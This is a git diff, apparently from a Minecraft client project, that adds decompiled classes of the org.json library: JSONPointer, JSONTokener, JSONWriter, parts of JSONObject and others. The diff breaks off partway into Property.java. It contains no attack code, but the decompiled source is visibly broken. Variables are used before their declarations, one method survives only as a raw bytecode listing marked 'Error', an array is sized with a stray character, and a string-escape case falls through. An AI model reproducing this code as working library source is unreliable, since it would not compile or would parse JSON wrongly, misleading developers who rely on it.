+    JSONArray ja = new JSONArray();
+    for (int i = 0; i < names.length(); i++) {
+      ja.put(opt(names.getString(i)));
+    }
+    return ja;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public String toString()
+  {
+    try
+    {
+      return toString(0);
+    } catch (Exception e) {}
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String toString(int indentFactor)
+    throws JSONException
+  {
+    StringWriter w = new StringWriter();
+    synchronized (w.getBuffer()) {
+      return write(w, indentFactor, 0).toString();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String valueToString(Object value)
+    throws JSONException
+  {
+    return JSONWriter.valueToString(value);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static Object wrap(Object object)
+  {
+    try
+    {
+      if (object == null) {
+        return NULL;
+      }
+      if (((object instanceof JSONObject)) || ((object instanceof JSONArray)) || 
+        (NULL.equals(object)) || ((object instanceof JSONString)) || 
+        ((object instanceof Byte)) || ((object instanceof Character)) || 
+        ((object instanceof Short)) || ((object instanceof Integer)) || 
+        ((object instanceof Long)) || ((object instanceof Boolean)) || 
+        ((object instanceof Float)) || ((object instanceof Double)) || 
+        ((object instanceof String)) || ((object instanceof BigInteger)) || 
+        ((object instanceof BigDecimal)) || ((object instanceof Enum))) {
+        return object;
+      }
+      
+      if ((object instanceof Collection)) {
+        Collection<?> coll = (Collection)object;
+        return new JSONArray(coll);
+      }
+      if (object.getClass().isArray()) {
+        return new JSONArray(object);
+      }
+      if ((object instanceof Map)) {
+        Map<?, ?> map = (Map)object;
+        return new JSONObject(map);
+      }
+      Package objectPackage = object.getClass().getPackage();
+      String objectPackageName = objectPackage != null ? objectPackage
+        .getName() : "";
+      if ((objectPackageName.startsWith("java.")) || 
+        (objectPackageName.startsWith("javax.")) || 
+        (object.getClass().getClassLoader() == null)) {
+        return object.toString();
+      }
+      return new JSONObject(object);
+    } catch (Exception exception) {}
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public Writer write(Writer writer)
+    throws JSONException
+  {
+    return write(writer, 0, 0);
+  }
+  
+  static final Writer writeValue(Writer writer, Object value, int indentFactor, int indent) throws JSONException, IOException
+  {
+    if ((value == null) || (value.equals(null))) {
+      writer.write("null");
+    } else if ((value instanceof JSONString))
+    {
+      try {
+        o = ((JSONString)value).toJSONString();
+      } catch (Exception e) { Object o;
+        throw new JSONException(e); }
+      Object o;
+      writer.write(o != null ? o.toString() : quote(value.toString()));
+    } else if ((value instanceof Number))
+    {
+      String numberAsString = numberToString((Number)value);
+      
+      try
+      {
+        BigDecimal testNum = new BigDecimal(numberAsString);
+        
+        writer.write(numberAsString);
+      }
+      catch (NumberFormatException ex)
+      {
+        quote(numberAsString, writer);
+      }
+    } else if ((value instanceof Boolean)) {
+      writer.write(value.toString());
+    } else if ((value instanceof Enum)) {
+      writer.write(quote(((Enum)value).name()));
+    } else if ((value instanceof JSONObject)) {
+      ((JSONObject)value).write(writer, indentFactor, indent);
+    } else if ((value instanceof JSONArray)) {
+      ((JSONArray)value).write(writer, indentFactor, indent);
+    } else if ((value instanceof Map)) {
+      Map<?, ?> map = (Map)value;
+      new JSONObject(map).write(writer, indentFactor, indent);
+    } else if ((value instanceof Collection)) {
+      Collection<?> coll = (Collection)value;
+      new JSONArray(coll).write(writer, indentFactor, indent);
+    } else if (value.getClass().isArray()) {
+      new JSONArray(value).write(writer, indentFactor, indent);
+    } else {
+      quote(value.toString(), writer);
+    }
+    return writer;
+  }
+  
+  static final void indent(Writer writer, int indent) throws IOException {
+    for (int i = 0; i < indent; i++) {
+      writer.write(32);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Writer write(Writer writer, int indentFactor, int indent)
+    throws JSONException
+  {
+    try
+    {
+      boolean commanate = false;
+      int length = length();
+      writer.write(123);
+      
+      if (length == 1) {
+        Map.Entry<String, ?> entry = (Map.Entry)entrySet().iterator().next();
+        String key = (String)entry.getKey();
+        writer.write(quote(key));
+        writer.write(58);
+        if (indentFactor > 0) {
+          writer.write(32);
+        }
+        try {
+          writeValue(writer, entry.getValue(), indentFactor, indent);
+        } catch (Exception e) {
+          throw new JSONException("Unable to write JSONObject value for key: " + key, e);
+        }
+      } else if (length != 0) {
+        int newindent = indent + indentFactor;
+        for (Map.Entry<String, ?> entry : entrySet()) {
+          if (commanate) {
+            writer.write(44);
+          }
+          if (indentFactor > 0) {
+            writer.write(10);
+          }
+          indent(writer, newindent);
+          String key = (String)entry.getKey();
+          writer.write(quote(key));
+          writer.write(58);
+          if (indentFactor > 0) {
+            writer.write(32);
+          }
+          try {
+            writeValue(writer, entry.getValue(), indentFactor, newindent);
+          } catch (Exception e) {
+            throw new JSONException("Unable to write JSONObject value for key: " + key, e);
+          }
+          commanate = true;
+        }
+        if (indentFactor > 0) {
+          writer.write(10);
+        }
+        indent(writer, indent);
+      }
+      writer.write(125);
+      return writer;
+    } catch (IOException exception) {
+      throw new JSONException(exception);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public Map<String, Object> toMap()
+  {
+    Map<String, Object> results = new HashMap();
+    for (Map.Entry<String, Object> entry : entrySet()) { Object value;
+      Object value;
+      if ((entry.getValue() == null) || (NULL.equals(entry.getValue()))) {
+        value = null; } else { Object value;
+        if ((entry.getValue() instanceof JSONObject)) {
+          value = ((JSONObject)entry.getValue()).toMap(); } else { Object value;
+          if ((entry.getValue() instanceof JSONArray)) {
+            value = ((JSONArray)entry.getValue()).toList();
+          } else
+            value = entry.getValue();
+        } }
+      results.put((String)entry.getKey(), value);
+    }
+    return results;
+  }
+}
diff --git a/src/minecraft/org/json/JSONPointer.java b/src/minecraft/org/json/JSONPointer.java
new file mode 100644
index 0000000..10f6fc2
--- /dev/null
+++ b/src/minecraft/org/json/JSONPointer.java
@@ -0,0 +1,371 @@
+package org.json;
+
+import java.io.UnsupportedEncodingException;
+import java.net.URLDecoder;
+import java.net.URLEncoder;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class JSONPointer
+{
+  private static final String ENCODING = "utf-8";
+  private final List<String> refTokens;
+  
+  public static class Builder
+  {
+    private final List<String> refTokens = new ArrayList();
+    
+
+    public Builder() {}
+    
+    public JSONPointer build()
+    {
+      return new JSONPointer(refTokens);
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+    public Builder append(String token)
+    {
+      if (token == null) {
+        throw new NullPointerException("token cannot be null");
+      }
+      refTokens.add(token);
+      return this;
+    }
+    
+
+
+
+
+
+
+    public Builder append(int arrayIndex)
+    {
+      refTokens.add(String.valueOf(arrayIndex));
+      return this;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Builder builder()
+  {
+    return new Builder();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public JSONPointer(String pointer)
+  {
+    if (pointer == null) {
+      throw new NullPointerException("pointer cannot be null");
+    }
+    if ((pointer.isEmpty()) || (pointer.equals("#"))) {
+      refTokens = Collections.emptyList();
+      return;
+    }
+    
+    if (pointer.startsWith("#/")) {
+      String refs = pointer.substring(2);
+      try {
+        refs = URLDecoder.decode(refs, "utf-8");
+      } catch (UnsupportedEncodingException e) {
+        throw new RuntimeException(e);
+      } } else { String refs;
+      if (pointer.startsWith("/")) {
+        refs = pointer.substring(1);
+      } else
+        throw new IllegalArgumentException("a JSON pointer should start with '/' or '#/'"); }
+    String refs;
+    refTokens = new ArrayList();
+    int slashIdx = -1;
+    int prevSlashIdx = 0;
+    do {
+      prevSlashIdx = slashIdx + 1;
+      slashIdx = refs.indexOf('/', prevSlashIdx);
+      if ((prevSlashIdx == slashIdx) || (prevSlashIdx == refs.length()))
+      {
+
+        refTokens.add("");
+      } else if (slashIdx >= 0) {
+        String token = refs.substring(prevSlashIdx, slashIdx);
+        refTokens.add(unescape(token));
+      }
+      else {
+        String token = refs.substring(prevSlashIdx);
+        refTokens.add(unescape(token));
+      }
+    } while (
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+      slashIdx >= 0);
+  }
+  
+
+
+
+  public JSONPointer(List<String> refTokens)
+  {
+    this.refTokens = new ArrayList(refTokens);
+  }
+  
+  private String unescape(String token) {
+    return 
+    
+      token.replace("~1", "/").replace("~0", "~").replace("\\\"", "\"").replace("\\\\", "\\");
+  }
+  
+
+
+
+
+
+
+
+
+  public Object queryFrom(Object document)
+    throws JSONPointerException
+  {
+    if (refTokens.isEmpty()) {
+      return document;
+    }
+    Object current = document;
+    for (String token : refTokens) {
+      if ((current instanceof JSONObject)) {
+        current = ((JSONObject)current).opt(unescape(token));
+      } else if ((current instanceof JSONArray)) {
+        current = readByIndexToken(current, token);
+      } else {
+        throw new JSONPointerException(String.format(
+          "value [%s] is not an array or object therefore its key %s cannot be resolved", new Object[] { current, 
+          token }));
+      }
+    }
+    return current;
+  }
+  
+  /* Error */
+  private Object readByIndexToken(Object current, String indexToken)
+    throws JSONPointerException
+  {
+    // Byte code:
+    //   0: aload_2
+    //   1: invokestatic 184	java/lang/Integer:parseInt	(Ljava/lang/String;)I
+    //   4: istore_3
+    //   5: aload_1
+    //   6: checkcast 165	org/json/JSONArray
+    //   9: astore 4
+    //   11: iload_3
+    //   12: aload 4
+    //   14: invokevirtual 190	org/json/JSONArray:length	()I
+    //   17: if_icmplt +38 -> 55
+    //   20: new 146	org/json/JSONPointerException
+    //   23: dup
+    //   24: ldc -65
+    //   26: iconst_2
+    //   27: anewarray 3	java/lang/Object
+    //   30: dup
+    //   31: iconst_0
+    //   32: iload_3
+    //   33: invokestatic 193	java/lang/Integer:valueOf	(I)Ljava/lang/Integer;
+    //   36: aastore
+    //   37: dup
+    //   38: iconst_1
+    //   39: aload 4
+    //   41: invokevirtual 190	org/json/JSONArray:length	()I
+    //   44: invokestatic 193	java/lang/Integer:valueOf	(I)Ljava/lang/Integer;
+    //   47: aastore
+    //   48: invokestatic 173	java/lang/String:format	(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
+    //   51: invokespecial 177	org/json/JSONPointerException:<init>	(Ljava/lang/String;)V
+    //   54: athrow
+    //   55: aload 4
+    //   57: iload_3
+    //   58: invokevirtual 197	org/json/JSONArray:get	(I)Ljava/lang/Object;
+    //   61: areturn
+    //   62: astore 5
+    //   64: new 146	org/json/JSONPointerException
+    //   67: dup
+    //   68: new 201	java/lang/StringBuilder
+    //   71: dup
+    //   72: ldc -53
+    //   74: invokespecial 205	java/lang/StringBuilder:<init>	(Ljava/lang/String;)V
+    //   77: iload_3
+    //   78: invokevirtual 206	java/lang/StringBuilder:append	(I)Ljava/lang/StringBuilder;
+    //   81: invokevirtual 210	java/lang/StringBuilder:toString	()Ljava/lang/String;
+    //   84: aload 5
+    //   86: invokespecial 214	org/json/JSONPointerException:<init>	(Ljava/lang/String;Ljava/lang/Throwable;)V
+    //   89: athrow
+    //   90: astore_3
+    //   91: new 146	org/json/JSONPointerException
+    //   94: dup
+    //   95: ldc -39
+    //   97: iconst_1
+    //   98: anewarray 3	java/lang/Object
+    //   101: dup
+    //   102: iconst_0
+    //   103: aload_2
+    //   104: aastore
+    //   105: invokestatic 173	java/lang/String:format	(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
+    //   108: aload_3
+    //   109: invokespecial 214	org/json/JSONPointerException:<init>	(Ljava/lang/String;Ljava/lang/Throwable;)V
+    //   112: athrow
+    // Line number table:
+    //   Java source line #233	-> byte code offset #0
+    //   Java source line #234	-> byte code offset #5
+    //   Java source line #235	-> byte code offset #11
+    //   Java source line #236	-> byte code offset #20
+    //   Java source line #237	-> byte code offset #39
+    //   Java source line #236	-> byte code offset #48
+    //   Java source line #240	-> byte code offset #55
+    //   Java source line #241	-> byte code offset #62
+    //   Java source line #242	-> byte code offset #64
+    //   Java source line #244	-> byte code offset #90
+    //   Java source line #245	-> byte code offset #91
+    // Local variable table:
+    //   start	length	slot	name	signature
+    //   0	113	0	this	JSONPointer
+    //   0	113	1	current	Object
+    //   0	113	2	indexToken	String
+    //   4	74	3	index	int
+    //   90	19	3	e	NumberFormatException
+    //   9	47	4	currentArr	JSONArray
+    //   62	23	5	e	JSONException
+    // Exception table:
+    //   from	to	target	type
+    //   55	61	62	org/json/JSONException
+    //   0	61	90	java/lang/NumberFormatException
+    //   62	90	90	java/lang/NumberFormatException
+  }
+  
+  public String toString()
+  {
+    StringBuilder rval = new StringBuilder("");
+    for (String token : refTokens) {
+      rval.append('/').append(escape(token));
+    }
+    return rval.toString();
+  }
+  
+
+
+
+
+
+
+
+  private String escape(String token)
+  {
+    return 
+    
+
+      token.replace("~", "~0").replace("/", "~1").replace("\\", "\\\\").replace("\"", "\\\"");
+  }
+  
+
+
+  public String toURIFragment()
+  {
+    try
+    {
+      StringBuilder rval = new StringBuilder("#");
+      for (String token : refTokens) {
+        rval.append('/').append(URLEncoder.encode(token, "utf-8"));
+      }
+      return rval.toString();
+    } catch (UnsupportedEncodingException e) {
+      throw new RuntimeException(e);
+    }
+  }
+}
diff --git a/src/minecraft/org/json/JSONPointerException.java b/src/minecraft/org/json/JSONPointerException.java
new file mode 100644
index 0000000..937eb0a
--- /dev/null
+++ b/src/minecraft/org/json/JSONPointerException.java
@@ -0,0 +1,44 @@
+package org.json;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class JSONPointerException
+  extends JSONException
+{
+  private static final long serialVersionUID = 8872944667561856751L;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public JSONPointerException(String message)
+  {
+    super(message);
+  }
+  
+  public JSONPointerException(String message, Throwable cause) {
+    super(message, cause);
+  }
+}
diff --git a/src/minecraft/org/json/JSONPropertyIgnore.java b/src/minecraft/org/json/JSONPropertyIgnore.java
new file mode 100644
index 0000000..d8c55b8
--- /dev/null
+++ b/src/minecraft/org/json/JSONPropertyIgnore.java
@@ -0,0 +1,12 @@
+package org.json;
+
+import java.lang.annotation.Annotation;
+import java.lang.annotation.Documented;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Documented
+@Retention(RetentionPolicy.RUNTIME)
+@Target({java.lang.annotation.ElementType.METHOD})
+public @interface JSONPropertyIgnore {}
diff --git a/src/minecraft/org/json/JSONPropertyName.java b/src/minecraft/org/json/JSONPropertyName.java
new file mode 100644
index 0000000..b58b416
--- /dev/null
+++ b/src/minecraft/org/json/JSONPropertyName.java
@@ -0,0 +1,15 @@
+package org.json;
+
+import java.lang.annotation.Annotation;
+import java.lang.annotation.Documented;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Documented
+@Retention(RetentionPolicy.RUNTIME)
+@Target({java.lang.annotation.ElementType.METHOD})
+public @interface JSONPropertyName
+{
+  String value();
+}
diff --git a/src/minecraft/org/json/JSONString.java b/src/minecraft/org/json/JSONString.java
new file mode 100644
index 0000000..2ac3677
--- /dev/null
+++ b/src/minecraft/org/json/JSONString.java
@@ -0,0 +1,6 @@
+package org.json;
+
+public abstract interface JSONString
+{
+  public abstract String toJSONString();
+}
diff --git a/src/minecraft/org/json/JSONStringer.java b/src/minecraft/org/json/JSONStringer.java
new file mode 100644
index 0000000..26ea38d
--- /dev/null
+++ b/src/minecraft/org/json/JSONStringer.java
@@ -0,0 +1,79 @@
+package org.json;
+
+import java.io.StringWriter;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class JSONStringer
+  extends JSONWriter
+{
+  public JSONStringer()
+  {
+    super(new StringWriter());
+  }
+  
+
+
+
+
+
+
+
+
+  public String toString()
+  {
+    return mode == 'd' ? writer.toString() : null;
+  }
+}
diff --git a/src/minecraft/org/json/JSONTokener.java b/src/minecraft/org/json/JSONTokener.java
new file mode 100644
index 0000000..5b3dd68
--- /dev/null
+++ b/src/minecraft/org/json/JSONTokener.java
@@ -0,0 +1,529 @@
+package org.json;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.Reader;
+import java.io.StringReader;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class JSONTokener
+{
+  private long character;
+  private boolean eof;
+  private long index;
+  private long line;
+  private char previous;
+  private final Reader reader;
+  private boolean usePrevious;
+  private long characterPreviousLine;
+  
+  public JSONTokener(Reader reader)
+  {
+    this.reader = (reader.markSupported() ? 
+      reader : 
+      new BufferedReader(reader));
+    eof = false;
+    usePrevious = false;
+    previous = '\000';
+    index = 0L;
+    character = 1L;
+    characterPreviousLine = 0L;
+    line = 1L;
+  }
+  
+
+
+
+
+  public JSONTokener(InputStream inputStream)
+  {
+    this(new InputStreamReader(inputStream));
+  }
+  
+
+
+
+
+
+  public JSONTokener(String s)
+  {
+    this(new StringReader(s));
+  }
+  
+
+
+
+
+
+
+  public void back()
+    throws JSONException
+  {
+    if ((usePrevious) || (index <= 0L)) {
+      throw new JSONException("Stepping back two steps is not supported");
+    }
+    decrementIndexes();
+    usePrevious = true;
+    eof = false;
+  }
+  
+
+
+  private void decrementIndexes()
+  {
+    index -= 1L;
+    if ((previous == '\r') || (previous == '\n')) {
+      line -= 1L;
+      character = characterPreviousLine;
+    } else if (character > 0L) {
+      character -= 1L;
+    }
+  }
+  
+
+
+
+
+
+  public static int dehexchar(char c)
+  {
+    if ((c >= '0') && (c <= '9')) {
+      return c - '0';
+    }
+    if ((c >= 'A') && (c <= 'F')) {
+      return c - '7';
+    }
+    if ((c >= 'a') && (c <= 'f')) {
+      return c - 'W';
+    }
+    return -1;
+  }
+  
+
+
+
+
+  public boolean end()
+  {
+    return (eof) && (!usePrevious);
+  }
+  
+
+
+
+
+
+
+  public boolean more()
+    throws JSONException
+  {
+    if (usePrevious) {
+      return true;
+    }
+    try {
+      reader.mark(1);
+    } catch (IOException e) {
+      throw new JSONException("Unable to preserve stream position", e);
+    }
+    try
+    {
+      if (reader.read() <= 0) {
+        eof = true;
+        return false;
+      }
+      reader.reset();
+    } catch (IOException e) {
+      throw new JSONException("Unable to read the next character from the stream", e);
+    }
+    return true;
+  }
+  
+
+
+
+  public char next()
+    throws JSONException
+  {
+    int c;
+    
+
+    if (usePrevious) {
+      usePrevious = false;
+      c = previous;
+    } else {
+      try {
+        c = reader.read();
+      } catch (IOException exception) { int c;
+        throw new JSONException(exception);
+      } }
+    int c;
+    if (c <= 0) {
+      eof = true;
+      return '\000';
+    }
+    incrementIndexes(c);
+    previous = ((char)c);
+    return previous;
+  }
+  
+
+
+
+
+  private void incrementIndexes(int c)
+  {
+    if (c > 0) {
+      index += 1L;
+      if (c == 13) {
+        line += 1L;
+        characterPreviousLine = character;
+        character = 0L;
+      } else if (c == 10) {
+        if (previous != '\r') {
+          line += 1L;
+          characterPreviousLine = character;
+        }
+        character = 0L;
+      } else {
+        character += 1L;
+      }
+    }
+  }
+  
+
+
+
+
+
+  public char next(char c)
+    throws JSONException
+  {
+    char n = next();
+    if (n != c) {
+      if (n > 0) {
+        throw syntaxError("Expected '" + c + "' and instead saw '" + 
+          n + "'");
+      }
+      throw syntaxError("Expected '" + c + "' and instead saw ''");
+    }
+    return n;
+  }
+  
+
+
+
+
+
+
+
+
+  public String next(int n)
+    throws JSONException
+  {
+    if (n == 0) {
+      return "";
+    }
+    
+    char[] chars = new char[n];
+    int pos = 0;
+    
+    while (pos < n) {
+      chars[pos] = next();
+      if (end()) {
+        throw syntaxError("Substring bounds error");
+      }
+      pos++;
+    }
+    return new String(chars);
+  }
+  
+
+  public char nextClean()
+    throws JSONException
+  {
+    char c;
+    
+    do
+    {
+      c = next();
+    } while ((c != 0) && (c <= ' '));
+    return c;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String nextString(char quote)
+    throws JSONException
+  {
+    StringBuilder sb = new StringBuilder();
+    for (;;) {
+      char c = next();
+      switch (c) {
+      case '\000': 
+      case '\n': 
+      case '\r': 
+        throw syntaxError("Unterminated string");
+      case '\\': 
+        c = next();
+        switch (c) {
+        case 'b': 
+          sb.append('\b');
+          break;
+        case 't': 
+          sb.append('\t');
+          break;
+        case 'n': 
+          sb.append('\n');
+          break;
+        case 'f': 
+          sb.append('\f');
+          break;
+        case 'r': 
+          sb.append('\r');
+          break;
+        case 'u': 
+          try {
+            sb.append((char)Integer.parseInt(next(4), 16));
+          } catch (NumberFormatException e) {
+            throw syntaxError("Illegal escape.", e);
+          }
+        
+        case '"': 
+        case '\'': 
+        case '/': 
+        case '\\': 
+          sb.append(c);
+          break;
+        default: 
+          throw syntaxError("Illegal escape.");
+        }
+        break;
+      default: 
+        if (c == quote) {
+          return sb.toString();
+        }
+        sb.append(c);
+      }
+      
+    }
+  }
+  
+
+
+
+
+
+
+  public String nextTo(char delimiter)
+    throws JSONException
+  {
+    StringBuilder sb = new StringBuilder();
+    for (;;) {
+      char c = next();
+      if ((c == delimiter) || (c == 0) || (c == '\n') || (c == '\r')) {
+        if (c != 0) {
+          back();
+        }
+        return sb.toString().trim();
+      }
+      sb.append(c);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public String nextTo(String delimiters)
+    throws JSONException
+  {
+    StringBuilder sb = new StringBuilder();
+    for (;;) {
+      char c = next();
+      if ((delimiters.indexOf(c) >= 0) || (c == 0) || 
+        (c == '\n') || (c == '\r')) {
+        if (c != 0) {
+          back();
+        }
+        return sb.toString().trim();
+      }
+      sb.append(c);
+    }
+  }
+  
+
+
+
+
+
+
+  public Object nextValue()
+    throws JSONException
+  {
+    char c = nextClean();
+    
+
+    switch (c) {
+    case '"': 
+    case '\'': 
+      return nextString(c);
+    case '{': 
+      back();
+      return new JSONObject(this);
+    case '[': 
+      back();
+      return new JSONArray(this);
+    }
+    
+    
+
+
+
+
+
+
+
+
+    StringBuilder sb = new StringBuilder();
+    while ((c >= ' ') && (",:]}/\\\"[{;=#".indexOf(c) < 0)) {
+      sb.append(c);
+      c = next();
+    }
+    back();
+    
+    String string = sb.toString().trim();
+    if ("".equals(string)) {
+      throw syntaxError("Missing value");
+    }
+    return JSONObject.stringToValue(string);
+  }
+  
+
+
+
+
+
+
+
+
+  public char skipTo(char to)
+    throws JSONException
+  {
+    try
+    {
+      long startIndex = index;
+      long startCharacter = character;
+      long startLine = line;
+      reader.mark(1000000);
+      char c;
+      do { c = next();
+        if (c == 0)
+        {
+
+
+          reader.reset();
+          index = startIndex;
+          character = startCharacter;
+          line = startLine;
+          return '\000';
+        }
+      } while (c != to);
+      reader.mark(1);
+    } catch (IOException exception) {
+      throw new JSONException(exception); }
+    char c;
+    back();
+    return c;
+  }
+  
+
+
+
+
+
+  public JSONException syntaxError(String message)
+  {
+    return new JSONException(message + toString());
+  }
+  
+
+
+
+
+
+
+  public JSONException syntaxError(String message, Throwable causedBy)
+  {
+    return new JSONException(message + toString(), causedBy);
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    return 
+      " at " + index + " [character " + character + " line " + line + "]";
+  }
+}
diff --git a/src/minecraft/org/json/JSONWriter.java b/src/minecraft/org/json/JSONWriter.java
new file mode 100644
index 0000000..e9eb1cf
--- /dev/null
+++ b/src/minecraft/org/json/JSONWriter.java
@@ -0,0 +1,418 @@
+package org.json;
+
+import java.io.IOException;
+import java.math.BigDecimal;
+import java.util.Collection;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class JSONWriter
+{
+  private static final int maxdepth = 200;
+  private boolean comma;
+  protected char mode;
+  private final JSONObject[] stack;
+  private int top;
+  protected Appendable writer;
+  
+  public JSONWriter(Appendable w)
+  {
+    comma = false;
+    mode = 'i';
+    stack = new JSONObject['È'];
+    top = 0;
+    writer = w;
+  }
+  
+
+
+
+
+  private JSONWriter append(String string)
+    throws JSONException
+  {
+    if (string == null) {
+      throw new JSONException("Null pointer");
+    }
+    if ((mode == 'o') || (mode == 'a')) {
+      try {
+        if ((comma) && (mode == 'a')) {
+          writer.append(',');
+        }
+        writer.append(string);
+
+      }
+      catch (IOException e)
+      {
+        throw new JSONException(e);
+      }
+      if (mode == 'o') {
+        mode = 'k';
+      }
+      comma = true;
+      return this;
+    }
+    throw new JSONException("Value out of sequence.");
+  }
+  
+
+
+
+
+
+
+
+  public JSONWriter array()
+    throws JSONException
+  {
+    if ((mode == 'i') || (mode == 'o') || (mode == 'a')) {
+      push(null);
+      append("[");
+      comma = false;
+      return this;
+    }
+    throw new JSONException("Misplaced array.");
+  }
+  
+
+
+
+
+
+  private JSONWriter end(char m, char c)
+    throws JSONException
+  {
+    if (mode != m) {
+      throw new JSONException(m == 'a' ? 
+        "Misplaced endArray." : 
+        "Misplaced endObject.");
+    }
+    pop(m);
+    try {
+      writer.append(c);
+
+    }
+    catch (IOException e)
+    {
+      throw new JSONException(e);
+    }
+    comma = true;
+    return this;
+  }
+  
+
+
+
+
+  public JSONWriter endArray()
+    throws JSONException
+  {
+    return end('a', ']');
+  }
+  
+
+
+
+
+  public JSONWriter endObject()
+    throws JSONException
+  {
+    return end('k', '}');
+  }
+  
+
+
+
+
+
+
+  public JSONWriter key(String string)
+    throws JSONException
+  {
+    if (string == null) {
+      throw new JSONException("Null key.");
+    }
+    if (mode == 'k') {
+      try {
+        JSONObject topObject = stack[(top - 1)];
+        
+        if (topObject.has(string)) {
+          throw new JSONException("Duplicate key \"" + string + "\"");
+        }
+        topObject.put(string, true);
+        if (comma) {
+          writer.append(',');
+        }
+        writer.append(JSONObject.quote(string));
+        writer.append(':');
+        comma = false;
+        mode = 'o';
+        return this;
+
+      }
+      catch (IOException e)
+      {
+        throw new JSONException(e);
+      }
+    }
+    throw new JSONException("Misplaced key.");
+  }
+  
+
+
+
+
+
+
+
+
+  public JSONWriter object()
+    throws JSONException
+  {
+    if (mode == 'i') {
+      mode = 'o';
+    }
+    if ((mode == 'o') || (mode == 'a')) {
+      append("{");
+      push(new JSONObject());
+      comma = false;
+      return this;
+    }
+    throw new JSONException("Misplaced object.");
+  }
+  
+
+
+
+
+
+  private void pop(char c)
+    throws JSONException
+  {
+    if (top <= 0) {
+      throw new JSONException("Nesting error.");
+    }
+    char m = stack[(top - 1)] == null ? 'a' : 'k';
+    if (m != c) {
+      throw new JSONException("Nesting error.");
+    }
+    top -= 1;
+    mode = 
+    
+      (stack[(top - 1)] == null ? 
+      'a' : top == 0 ? 'd' : 
+      'k');
+  }
+  
+
+
+
+  private void push(JSONObject jo)
+    throws JSONException
+  {
+    if (top >= 200) {
+      throw new JSONException("Nesting too deep.");
+    }
+    stack[top] = jo;
+    mode = (jo == null ? 'a' : 'k');
+    top += 1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String valueToString(Object value)
+    throws JSONException
+  {
+    if ((value == null) || (value.equals(null))) {
+      return "null";
+    }
+    if ((value instanceof JSONString))
+    {
+      try {
+        object = ((JSONString)value).toJSONString();
+      } catch (Exception e) { Object object;
+        throw new JSONException(e); }
+      Object object;
+      if ((object instanceof String)) {
+        return (String)object;
+      }
+      throw new JSONException("Bad value from toJSONString: " + object);
+    }
+    if ((value instanceof Number))
+    {
+      String numberAsString = JSONObject.numberToString((Number)value);
+      
+      try
+      {
+        BigDecimal unused = new BigDecimal(numberAsString);
+        
+        return numberAsString;
+      }
+      catch (NumberFormatException ex)
+      {
+        return JSONObject.quote(numberAsString);
+      }
+    }
+    if (((value instanceof Boolean)) || ((value instanceof JSONObject)) || 
+      ((value instanceof JSONArray))) {
+      return value.toString();
+    }
+    if ((value instanceof Map)) {
+      Map<?, ?> map = (Map)value;
+      return new JSONObject(map).toString();
+    }
+    if ((value instanceof Collection)) {
+      Collection<?> coll = (Collection)value;
+      return new JSONArray(coll).toString();
+    }
+    if (value.getClass().isArray()) {
+      return new JSONArray(value).toString();
+    }
+    if ((value instanceof Enum)) {
+      return JSONObject.quote(((Enum)value).name());
+    }
+    return JSONObject.quote(value.toString());
+  }
+  
+
+
+
+
+
+  public JSONWriter value(boolean b)
+    throws JSONException
+  {
+    return append(b ? "true" : "false");
+  }
+  
+
+
+
+
+  public JSONWriter value(double d)
+    throws JSONException
+  {
+    return value(new Double(d));
+  }
+  
+
+
+
+
+  public JSONWriter value(long l)
+    throws JSONException
+  {
+    return append(Long.toString(l));
+  }
+  
+
+
+
+
+
+
+  public JSONWriter value(Object object)
+    throws JSONException
+  {
+    return append(valueToString(object));
+  }
+}
diff --git a/src/minecraft/org/json/Property.java b/src/minecraft/org/json/Property.java
new file mode 100644
index 0000000..33a5cc6
--- /dev/null
+++ b/src/minecraft/org/json/Property.java
@@ -0,0 +1,75 @@
+package org.json;
+
+import java.util.Enumeration;
+import java.util.Properties;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Property
+{
+  public Property() {}
+  
+  public static JSONObject toJSONObject(Properties properties)
